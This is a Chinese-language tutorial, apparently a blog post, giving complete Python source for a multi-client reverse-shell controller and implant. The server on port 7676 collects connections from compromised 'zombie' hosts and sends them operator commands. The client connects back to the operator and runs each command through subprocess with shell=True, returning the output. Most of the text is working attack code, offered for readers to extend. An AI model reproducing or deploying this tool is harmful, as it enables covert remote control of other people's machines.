Server(控制端)
控制端需要實現等待被控端連接、給被控端發送Shell命令,並且可以選擇和切換當前要接收Shell命令的肉雞(被控端)。所以,首先我們需要創建一個socket對象,並監聽7676端口,代碼如下:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 創建一個Tcp Socket
s.bind(('0.0.0.0',7676)) #綁定7676端口,並與允許來自任意地址的連接
s.listen(1024) #開始監聽端口
這裏我只說一下創建socket對象時兩個參數的含義,socket.AF_INET代表使用IPv4協議,socket.SOCK_STREAM 代表使用面向流的Tcp協議,也就是說創建了一個基於IPv4協議的Tcp Server。 接下來當有肉雞連接的時候我們需要獲取肉雞的socket,並記錄起來,以便和肉雞進行通信。
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
完整server代碼如下
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import threading
clientList = [] #連接的客戶端列表
curClient = None #當前的客戶端
quitThread = False #是否退出線程
lock = threading.Lock()
def shell_ctrl(socket,addr):
while True:
com = input(str(addr[0]) + ':~#')
if com == '!ch':
select_client()
return
if com == '!q':
quitThread = True
print('-----------------------* Connection has ended *--------------------------')
exit(0)
socket.send(com.encode('utf-8'))
data = socket.recv(1024)
print(data.decode('utf-8'))
def select_client():
global clientList
global curClient
print('--------------* The current is connected to the client: *----------------')
for i in range(len(clientList)):
print('[%i]-> %s' % (i, str(clientList[i][1][0])))
print('Please select a client!')
while True:
num = input('client num:')
if int(num) >= len(clientList):
print('Please input a correct num!')
continue
else:
break
curClient = clientList[int(num)]
print('=' * 80)
print(' ' * 20 + 'Client Shell from addr:', curClient[1][0])
print('=' * 80)
def wait_connect(sk):
global clientList
while not quitThread:
if len(clientList) == 0:
print('Waiting for the connection......')
sock, addr = sk.accept()
print('New client %s is connection!' % (addr[0]))
lock.acquire()
clientList.append((sock, addr))
lock.release()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',7676))
s.listen(1024)
t = threading.Thread(target=wait_connect,args=(s,))
t.start()
while True:
if len(clientList) > 0:
select_client() # 選擇一個客戶端
shell_ctrl(curClient[0],curClient[1]) #處理shell命令
if __name__ == '__main__':
main()
這裏有一點需要注意一下,對接收和發送統一都用utf-8進行編碼和解碼,同樣在客戶端中也採用同樣的編碼纔會保證接收和發送的結果正確。至於發送命令這部分主要就是等待用戶輸入命令然後判斷是不是切換肉雞或者是退出命令,如果不是就把命令發送給客戶端。
Client(被控端)
被控端需要實現連接到控制端、執行控制端發送過來的命令並將執行命令後的結果發送給控制端。與控制端相比被控端要簡單的多,代碼如下:
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #創建socket對象
sock.connect((ht,int(pt))) #主機的指定端口
while True:
data = sock.recv(1024) #接收命令
data = data.decode('utf-8') #對命令解碼
#執行命令
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
#獲取命令執行結果
m_stdout, m_stderr = comRst.communicate()
#將執行命令結果編碼後發送給控制端
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
這個函數的核心其實就是subprocess.Popen()這個函數,subprocess.Popen()可以實現在一個新的進程中啓動一個子程序,第一個參數就是子程序的名字,shell=True則是說明程序在Shell中執行。至於stdout、stderr、stdin的值都是subprocess.PIPE,則表示用管道的形式與子進程交互。還有一個需要注意的地方就是在給控制端發送命令執行結果的時候,這裏先將結果用本地系統編碼的方式進行解碼,然後又用utf-8進行編碼,以避免被控端編碼不是utf-8時,控制端接收到的結果顯示亂碼。
完整client代碼如下
import socket
import subprocess
import argparse
import sys
import time
import threading
def connectHost(ht,pt):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ht,int(pt)))
while True:
data = sock.recv(1024)
data = data.decode('utf-8')
comRst = subprocess.Popen(data,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
m_stdout, m_stderr = comRst.communicate()
sock.send(m_stdout.decode(sys.getfilesystemencoding()).encode('utf-8'))
time.sleep(1)
sock.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-H',dest='hostName',help='Host Name')
parser.add_argument('-p',dest='conPort',help='Host Port')
args = parser.parse_args() #解析命令行參數
host = args.hostName
port = args.conPort
if host == None and port == None:
print(parser.parse_args(['-h']))
exit(0)
connectHost(host,port) #連接到控制端
if __name__ == '__main__':
main()
至此整個反向shellC/S架構就大概完成了,可以簡單測試下,
成功拿到shell,當然這是反向shell的核心部分而已,大家可以自行擴展
如有錯誤或者不足之處,請各位師傅不吝賜教~